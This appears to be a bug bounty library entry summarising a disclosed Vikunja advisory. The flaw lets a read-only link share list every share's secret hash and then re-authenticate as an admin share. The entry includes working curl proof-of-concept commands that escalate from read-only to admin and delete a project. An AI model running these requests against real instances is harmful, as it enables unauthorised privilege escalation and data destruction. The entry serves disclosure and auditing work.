# Vikjuna: Link Share Hash Disclosure via ReadAll Endpoint Enables Permission Escalation

Vikunja's ReadAllWeb handler skipped CanRead, letting read-only link share users list all project share hashes and authenticate as admin shares.

- Payout: Research
- Severity: high
- Program: Vikunja
- Found by: offset
- Disclosed: 2026-03-25
- CVE: CVE-2026-33680
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-8hp8-9fhr-pfm9
- Library page: http://bugbountylibrary.com/r/ghsa%3AGHSA-8hp8-9fhr-pfm9
- Tags: area:web domain:api domain:web impact:data-leak impact:privesc kind:research platform:ghsa sev:high tech:go technique:source-review vuln:access-control vuln:auth-bypass vuln:secrets-leak

**Target:** Link sharing REST API (/api/v1/projects/{id}/shares, /api/v1/shares/{hash}/auth)
**Root cause:** ReadAllWeb generic handler never calls CanRead(), and LinkSharing.ReadAll() only checks project-level read access, which link share users pass; the secret Hash field is serialized in list responses.
**Steps:**
1. Authenticate with a read-only link share: `curl -s -X POST http://localhost:3456/api/v1/shares/READ_ONLY_HASH/auth` returns a JWT with permission=0.
2. List all shares with the read-only JWT: `curl -s -H "Authorization: Bearer <read-only-jwt>" http://localhost:3456/api/v1/projects/PROJECT_ID/shares` returns every share's `hash` and `permission`, including admin hashes.
3. Authenticate with the leaked admin hash: `curl -s -X POST http://localhost:3456/api/v1/shares/ADMIN_HASH/auth` returns a JWT with permission=2.
4. Exercise admin privileges: `curl -s -X DELETE -H "Authorization: Bearer <admin-jwt>" http://localhost:3456/api/v1/projects/PROJECT_ID` succeeds.
**How found:** Compared the ReadOneWeb handler (which calls CanRead) against ReadAllWeb (which does not), spotting the inconsistency with the LinkSharing permission model where CanRead blocks link share users but ReadAll only checks project read access.
**Exploitation:** Attacker holding any link share URL (read-only, publicly shared) authenticates, lists all project shares to harvest higher-privilege hashes, then re-authenticates with the admin hash to obtain an admin JWT and perform admin operations like deleting the project.
**Escalation:** Read-only share -> leaked admin share hash -> admin JWT -> full project control.
**Insight:** When a model has a CanRead that special-cases an auth type, audit every generic handler (ReadAll, Update, Delete) for the same check — list endpoints frequently skip per-object authorization and leak secret fields like tokens/hashes that are only meant for creation responses.

## Proof of concept (copied exactly from the original report)

**curl list shares leaking hashes**

```
curl -s -H "Authorization: Bearer <read-only-jwt>" \
  http://localhost:3456/api/v1/projects/PROJECT_ID/shares \
  | jq '.[].hash, .[].permission'
# Returns ALL shares with their hashes and permission levels:
# "READ_ONLY_HASH"   permission: 0
# "ADMIN_HASH"       permission: 2    <-- leaked!
```

**curl auth with read-only hash**

```
curl -s -X POST http://localhost:3456/api/v1/shares/READ_ONLY_HASH/auth \
  | jq '.token'
# Returns: JWT token with permission=0 (read)
```

**curl escalate to admin and delete**

```
curl -s -X POST http://localhost:3456/api/v1/shares/ADMIN_HASH/auth \
  | jq '.token'
# Returns: JWT token with permission=2 (admin)

**Step 4: Exercise admin privileges**
# Delete the project (admin-only operation)
curl -s -X DELETE -H "Authorization: Bearer <admin-jwt>" \
  http://localhost:3456/api/v1/projects/PROJECT_ID
# Success — full admin access achieved from a read-only share
```

